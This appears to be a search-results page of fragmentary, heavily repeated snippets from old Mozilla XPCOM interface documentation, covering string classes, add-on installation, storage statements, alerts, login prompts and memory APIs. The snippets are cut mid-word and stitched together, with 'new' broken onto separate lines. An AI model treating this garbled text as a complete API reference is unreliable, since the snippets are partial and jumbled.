erator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
...inwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
NS ConvertUTF16toUTF8 external
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
NS ConvertUTF8toUTF16 external
erator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
...inwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
NS LossyConvertUTF16toASCII external
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
PromiseFlatCString (External)
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
PromiseFlatString (External)
erator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
...inwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsACString (External)
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsAString (External)
rat prunichar charat(pruint32) const - source parameters pruint32 apos operator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
...erator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsAutoString (External)
erator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
...inwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsCAutoString (External)
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsCStringContainer (External)
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsCString external
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsDependentCString external
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsDependentCSubstring external
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsDependentString external
erator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
...inwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsDependentSubstring external
erator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
...eginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsLiteralCString (External)
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsLiteralString (External)
operator[] char operator[](pruint32) const - source parameters pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... pruint32 apos first char first() const - source beginwriting pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
... pruint32 beginwriting(char**, char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsStringContainer (External)
erator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
...inwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
nsString external
erator[] prunichar operator[](pruint32) const - source parameters pruint32 apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. ...
... apos first prunichar first() const - source beginwriting pruint32 beginwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
...inwriting(prunichar**, prunichar**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation. @param
newsize size the string to this length. pass pr_uint32_max to leave the length unchanged. @return the
new length of the string, or 0 if resizing failed. ...
amIInstallTrigger
boolean updateenabled(); deprecated since gecko 2.0 constants retained for backwards compatibility. constant value description skin 1 locale 2 content 4 package 7 methods enabled() tests if installation is enabled. boolean enabled(); parameters none. return value install() starts a
new installation of a set of add-ons. boolean install( in nsivariant aargs, in amiinstallcallback acallback optional ); parameters aargs the add-ons to install. this should be a js object, each property is the name of an add-on to be installed. the value of the property should either be a string url, or an object with the following properties: url for the add-on's url iconurl for an ...
...installed. the value of the property should either be a string url, or an object with the following properties: url for the add-on's url iconurl for an icon for the add-on hash for a hash of the add-on. acallback optional a callback to call as each installation succeeds or fails. return value true if the installations were successfully started. installchrome starts installing a
new add-on. this method is deprecated, please use install() in the future. boolean installchrome( in pruint32 atype, in astring aurl, in astring askin ); parameters atype unused, retained for backwards compatibility. aurl the url of the add-on. askin unused, retained for backwards compatibility. return value true if the installation was successfully started. startsoftwareupdate ...
... is deprecated, please use install() in the future. boolean installchrome( in pruint32 atype, in astring aurl, in astring askin ); parameters atype unused, retained for backwards compatibility. aurl the url of the add-on. askin unused, retained for backwards compatibility. return value true if the installation was successfully started. startsoftwareupdate starts installing a
new add-on. boolean startsoftwareupdate( in astring aurl, in print32 aflags optional ); parameters aurl the url of the add-on. aflags optional unused, retained for backwards compatibility. return value true if the installation was successfully started. updateenabled tests if installation is enabled. boolean updateenabled(); parameters none. return value ...
mozIStorageStatement
nsigned long getparameterindex(in autf8string aname); autf8string getcolumnname(in unsigned long acolumnindex); unsigned long getcolumnindex(in autf8string aname); void reset(); astring escapestringforlike(in astring avalue, in wchar aescapechar); void bindparameters(in mozistoragebindingparamsarray aparameters); mozistoragebindingparamsarray
newbindingparamsarray(); void bindutf8stringparameter(in unsigned long aparamindex, in autf8string avalue); void bindstringparameter(in unsigned long aparamindex, in astring avalue); void binddoubleparameter(in unsigned long aparamindex, in double avalue); void bindint32parameter(in unsigned long aparamindex, in long avalue); void bindint64parameter(in un...
...hat has characters that have special meaning escaped from avalue. sample code var statement = dbconn.createstatement( "select * " + "from table_name " + "where column_name like :userinput escape '/'" ); statement.params.userinput = statement.escapestringforlike(someuserinput, "/"); binding functions these functions are discussed in more detail with sample code in the overview document.
newbindingparamsarray() creates and returns a
new mozistoragebindingparamsarray object that can be used to bind multiple values to parameters in preparation for calling executeasync(). mozistoragebindingparamsarray
newbindingparamsarray(); parameters none. bindparameters() binds all the parameters in the specified array to the statement in preparation for calling executeasync(). note: startin...
...e false. execute() execute the query, ignoring any results. this is accomplished by calling executestep(), and then calling reset(). void execute(); see also storage introduction and how-to article mozistorageconnection database connection to a specific file or in-memory data storage mozistoragevaluearray wraps an array of sql values, such as a result row. mozistoragefunction create a
new sqlite function. mozistorageaggregatefunction create a
new sqlite aggregate function. mozistorageprogresshandler monitor progress during the execution of a statement. mozistorageasyncstatement mozistoragestatementwrapper storage statement wrapper mozistoragebindingparams mozistoragebindingparamsarray ...
nsIAlertsService
toolkit/components/alerts/nsialertsservice.idlscriptable this interface can be used to notify the user of something that does not require an immediate reaction. for example, it can be used to notify the user that their downloads are complete or that they have
new mail. 1.0 66 introduced gecko 1.7 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) by default a message is displayed in a small window that slides up from the bottom of the screen, holds there for a few seconds, then slides down. the specific appearance varies from platform to platform. note: prior firefox 22, the alerts service was only supported on windows in gecko 1.7, had no effect on mac os x in gecko 1.8, but was fully supported in mac o...
...click here to focus the tab', true, null, notiflistener, 'stackoverflow notifier'); closealert() closes alerts created by the service. void closealert( in astring name, optional in nsiprincipal principal optional ); parameters name the name of the notification to close. if no name is provided then only a notification created with no name (if any...
...:firefox'), 'focus firefox', 'will now focus fireox and then focus the tab'); } else if (atopic == 'alertshow') { console.log('just showed notification'); } else if (atopic == 'alertfinished') { console.log('just alertfinished') } } }; as.showalertnotification('chrome://branding/content/icon64.png', 'stackoverflow -
new messages', 'there are ##
new messages. click here to focus the tab', true, null, notiflistener, 'stackoverflow notifier'); closealert() closes alerts created by the service. void closealert( in astring name, optional in nsiprincipal principal optional ); parameters name the name of the notification to close. if no name is provided then only a notification created with no name (if any) will be closed. principal ...
nsIAppShellService
obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) close a window. void closetoplevelwindow( in nsixulwindow awindow ); parameters awindow a window. native code only!createhiddenwindow creates a hidden window. void createhiddenwindow( in nsiappshell aappshell ); parameters aappshell a widget "appshell" (event processor) to associate with the
new window. createstartupstate() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) creates the initial state of the application by launching tasks specfied by "general.startup.*" prefs. note: size_to_content may be used for width or height. boolean createstartupstate( in long awindowwidth, in long awindowheight ); parameters awindowwidth ...
...w() this method creates a window, which will be initially invisible. nsixulwindow createtoplevelwindow( in nsixulwindow aparent, in nsiuri aurl, in boolean ashowwindow, in boolean aloaddefaultpage, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell ); parameters aparent the parent window. can be null. aurl the contents of the
new window. ashowwindow obsolete since gecko 1.8 the window remains invisible if pr_false. aloaddefaultpage obsolete since gecko 1.8 controls whether the window should try to load a default content page on its own. achromemask chrome flags affecting the kind of os border given to the window. (see nsibrowserwindow for bit/flag definitions). ainitialwidth width, in pixels, of the window. width ...
...reation. can be overridden by the "width" tag in the xul. set to ns_sizetocontent to force the window to wrap to its contents. ainitialheight height, in pixels, of the window. height of window at creation. can be overridden by the "height" tag in the xul. set to ns_sizetocontent to force the window to wrap to its contents. aappshell a widget "appshell" (event processor) to associate with the
new window. return value returns the
newly created window. destroyhiddenwindow() destroys a hidden window. void destroyhiddenwindow(); parameters none. doprofilestartup() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) starts up the profile manager with the given arguments. void doprofilestartup( in nsicmdlineservice acmdlineservice, ...
nsIChromeRegistry
nged in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a service: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getservice(components.interfaces.nsichromeregistry); method overview void canonify(in nsiuri achromeurl); obsolete since gecko 1.8 void checkfor
newchrome(); nsiuri convertchromeurl(in nsiuri achromeurl); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants constant value description none 0 partial 1 full 2 methods canonify() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey ...
...d to be specified in "shorthand", leaving the "file" portion off. in that case, the url is expanded to chrome://package/provider/package.ext. the extension, ext, is one of: xul for a "content" package. css for a "skin" package. dtd for a "locale" package. void canonify( in nsiuri achromeurl ); parameters achromeurl the url that is to be canonified. checkfor
newchrome() refreshes the chrome list at runtime, looking for
new packages and so forth. void checkfor
newchrome(); parameters none. convertchromeurl() resolves a chrome url to an loadable uri using the information in the registry. a
new nsiuri is returned; the original is left unmodified. this lets you take a non-canonical chrome uri, such as chrome://package/provider/file, and convert it into a can...
...d in "shorthand", leaving the "file" portion off. in that case, the url is expanded to chrome://package/provider/package.ext. the extension, ext, is one of: xul for a "content" package. css for a "skin" package. dtd for a "locale" package. nsiuri convertchromeurl( in nsiuri achromeurl ); parameters achromeurl the url that is to be converted. return value a
new nsiuri object containing the loadable uri for the specified chrome url. violates the xpcom interface guidelines wrappersenabled() returns whether xpcnativewrappers are enabled for the specified uri. boolean wrappersenabled( in nsiuri auri ); parameters auri the uri for which to determine if xpcnativewrappers are enabled. return value true if xpcnativewrappers are enabled for t...
nsIDOMWindowUtils
x and ay from the window. note: that additional events may be fired as a result of this call. for instance, typically a click event will be fired as a result of a mousedown and mouseup in sequence. normally at this level of events, the mouseover and mouseout events are only fired when the window is entered or exited. for inter-element mouseover and mouseout events, a movemove event fired on the
new element should be sufficient to generate the correct over and out events as well. cannot be accessed from unprivileged context (not content-accessible) will throw a dom security error if called without universalxpconnect privileges. the event is dispatched via the toplevel window, so it could go to any window under the toplevel window, in some cases it could never reach this window at all. voi...
...ification or rotation for magnify and rotation events. amodifiers modifiers pressed, using constants defined in nsidomnsevent. obsolete since gecko 15.0 using constants defined as modifier_*. aclickcount for tap gestures, the number of taps. sendtextevent() obsolete since gecko 26 this can create composition string with 3 or less clauses. use createcompositionstringsynthesizer() instead.
new api doesn't have this limitation. void sendtextevent( in astring acompositionstring, in long afirstclauselength, in unsigned long afirstclauseattr, in long asecondclauselength, in unsigned long asecondclauseattr, in long athirdclauselength, in unsigned long athirdclauseattr, in long acaretstart, in long acaretlength ); parameters acompositionstring afirstclauselength ...
...nt bounds is not yet defined. the caller of this method must have universalxpconnect privileges. void setdisplayport( in float axpx, in float aypx, in float awidthpx, in float aheightpx ); parameters axpx aypx awidthpx aheightpx setresolution() get/set the resolution at which rescalable web content is drawn. currently this is only (some) thebes content. setting a
new resolution does *not* trigger reflow. this api is entirely separate from textzoom and fullzoom; a resolution scale can be applied together with both textzoom and fullzoom. the effect of is api for gfx code to allocate more or fewer pixels for rescalable content by a factor of |resolution| in either or both dimensions. setresolution together with setdisplayport() can be used to implement a non-re...
nsIDynamicContainer
changed in gecko 1.9 (firefox 3) the service can fill result nodes directly into the container when it is opened. it can use the property bag on every result node to store data associated with each item, such as a full path on disk. it can also create additional containers for each container, registered to its service. ...
...9 (firefox 3) the service can fill result nodes directly into the container when it is opened. it can use the property bag on every result node to store data associated with each item, such as a full path on disk. it can also create additional containers for each container, registered to its service. ...
...ng(in nsinavhistorycontainerresultnode acontainer, in nsinavhistoryqueryoptions aoptions); void oncontainerremoving(in long long aitemid); methods oncontainermoved() this method is called when the given container has just been moved, in case the service needs to do any bookkeeping. it is called after the container has been moved. void oncontainermoved( in long long aitemid, in long long a
newparent, in long a
newindex ); parameters aitemid the item-id of the container item. a
newparent the item of the
new parent folder for the container. a
newindex the index at which the container will be inserted, or "-1" to append to the end of the list. oncontainernodeclosed() this method is called when the given container has just been collapsed so that the service can do any necessary cleanup. ...
nsIFocusManager
dwindow or null if no element in that document is focused. read only. focusedwindow nsidomwindow the child window within the activewindow that is focused. this will always be activewindow, a child window of activewindow or null if no child window is focused. setting the focusedwindow changes the focused window and raises the toplevel window it is in. if the current focus within the
new focusedwindow is a frame element, then the focusedwindow will actually be set to the child window and the current element within that set as the focused element. this process repeats downwards until a non-frame element is found. constants constant value description flag_raise 1 flag_noscroll 2 do not scroll the element to focus into view. ...
... focus to another element. if astartelement is specified, then movement is done relative to astartelement. if astartelement is null, then movement is done relative to the currently focused element. if no element is focused, focus the first focusable element within the document (or the last focusable element if atype is movefocus_end). this method is equivalent to setting the focusedelement to the
new element. specifying astartelement and using movefocus_last is not currently implemented. if no element is found, and atype is either movefocus_root or movefocus_caret, then the focus is cleared. if atype is any other value, the focus is not changed. nsidomelement movefocus( in nsidomwindow awindow, in nsidomelement astartelement, in unsigned long atype, in unsigned long aflags ); paramet...
...n nsidomwindow awindow ); parameters awindow native code only!windowlowered called when a window has been lowered. void windowlowered( in nsidomwindow awindow ); parameters awindow native code only!windowraised called when a window has been raised. void windowraised( in nsidomwindow awindow ); parameters awindow native code only!windowshown called when a
new document in a window is shown. void windowshown( in nsidomwindow awindow, in prbool aneedsfocus ); parameters awindow aneedsfocus if true, then focus events are expected to be fired on the window if this window is in the focused window chain. ...
nsIGeolocationUpdate
note: this must be called on the main thread. ...
...note: this must be called on the main thread. ...
...note: this must be called on the main thread. ...
nsILoginManagerPrompter
mplemented by: @mozilla.org/login-manager/prompter;1. to call this service, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getservice(components.interfaces.nsiloginmanagerprompter); method overview void init(in nsidomwindow awindow); void prompttochangepassword(in nsilogininfo aoldlogin, in nsilogininfo a
newlogin); void prompttochangepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo a
newlogin); void prompttosavepassword(in nsilogininfo alogin); methods init() initialize the prompter. must be called before using other interfaces. void init( in nsidomwindow awindow ); parameters awindow the in which the user is d...
... action that is resulting in a need to prompt them for something. the prompt will be associated with this window (or, if a notification bar is being used, topmost opener in some cases). prompttochangepassword() ask the user if they want to change a login's password. if the user consents, modifylogin() will be called. void prompttochangepassword( in nsilogininfo aoldlogin, in nsilogininfo a
newlogin ); parameters aoldlogin the existing login (with the old password). a
newlogin the
new login. prompttochangepasswordwithusernames() ask the user if they want to change the password for one of multiple logins, when the caller can not determine exactly which login should be changed. if the user consents, modifylogin() will be called. note: because the caller does not know the userna...
...in the existing login (with the old password). a
newlogin the
new login. prompttochangepasswordwithusernames() ask the user if they want to change the password for one of multiple logins, when the caller can not determine exactly which login should be changed. if the user consents, modifylogin() will be called. note: because the caller does not know the username of the login to be changed, a
newlogin.username and a
newlogin.usernamefield will be set (using the user's selection) before modifylogin() is called. void prompttochangepasswordwithusernames( [array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo a
newlogin ); parameters logins an array of existing logins. count (length of the array) a
newlogin the
new login. prompttosavepassword() ask...
nsIMemory
heap. ns_getmemorymanager returns the global nsimemory instance. method overview voidptr alloc(in size_t size); violates the xpcom interface guidelines void free(in voidptr ptr); violates the xpcom interface guidelines void heapminimize(in boolean immediate); boolean islowmemory(); deprecated since gecko 2.0 voidptr realloc(in voidptr ptr, in size_t
newsize); violates the xpcom interface guidelines methods alloc allocates a block of memory of a particular size. voidptr alloc( in size_t size ); parameters size the size of the block to allocate. return value if the memory cannot be allocated (because of an out-of-memory condition), null is returned. otherwise, it returns a pointer to the
newly allocated memory segment. the res...
...method was deprecated in gecko 2.0. if you need to monitor low memory conditions, you should watch for the low memory notifications "memory-pressure" notifications instead. boolean islowmemory(); parameters none. return value true if we are in a low-memory situation. otherwise false. note: from gecko 2.0 always returns false. see bug 592308. realloc() reallocates a block of memory to a
new size. voidptr realloc( in voidptr ptr, in size_t
newsize ); parameters ptr the address of the memory block to reallocate. this may be null, in which case realloc behaves like alloc().
newsize specifies the
new size in bytes of the block of memory to allocate. this may be 0, in which case realloc behaves like alloc(). return value null if the memory allocation fails. otherwise, it ...
...the result must be freed with a call to free() when it is no longer needed. low memory notifications an nsimemory implementation may be capable of monitoring heap usage. moreover, a mechanism exists by which a client can receive notifications about low-memory situations. ...
nsIMsgWindowCommands
void selectfolder( in acstring folderuri ); parameters folderuri the uri of the folder to select. ...
...void selectfolder( in acstring folderuri ); parameters folderuri the uri of the folder to select. ...
...st changed in gecko 1.9 (firefox 3) the javascript implementation of this used by thunderbird is given here. method overview void selectfolder(in acstring folderuri); void selectmessage(in acstring messageuri); void clearmsgpane(); methods selectfolder() this method is called by the backend to change the folder displayed in the message window. this could be as a result of clicking on a
new mail alert, or by clicking a link to a
newsgroup. void selectfolder( in acstring folderuri ); parameters folderuri the uri of the folder to select. selectmessage() this method is called by the backend to change the displayed message. for instance, when deleting attachments, this causes the message to be redisplayed. void selectmessage( in acstring messageuri ); parameters messageuri the ...
nsIMutableArray
n, up by one. void insertelementat( in nsisupports element, in unsigned long index, in boolean weak ); parameters element the element to insert. index the position in the array: if the position is lower than the current length of the array, the elements at that position and onwards are bumped one position up. if the position is equal to the current length of the array, the
new element is appended. an index lower than 0 or higher than the current length of the array is invalid and will be ignored. weak whether or not to store the element using a weak reference. exceptions thrown ns_error_failure when a weak reference is requested, but the element does not support nsiweakreference. removeelementat() remove an element at a specific position, moving all ...
...to remove a specific element, use nsiarray.indexof() to find the index first, then call removeelementat. void removeelementat( in unsigned long index ); parameters index the position of the item. replaceelementat() replace the element at the given position. void replaceelementat( in nsisupports element, in unsigned long index, in boolean weak ); parameters element the
new element to insert. index the position in the array. if the position is lower than the current length of the array, an existing element will be replaced. if the position is equal to the current length of the array, the
new element is appended. if the position is higher than the current length of the array, empty elements are appended followed by the
new element at the specified position. a...
... current length of the array, an existing element will be replaced. if the position is equal to the current length of the array, the
new element is appended. if the position is higher than the current length of the array, empty elements are appended followed by the
new element at the specified position. an index lower than 0 is invalid and will be ignored. weak whether or not to store the
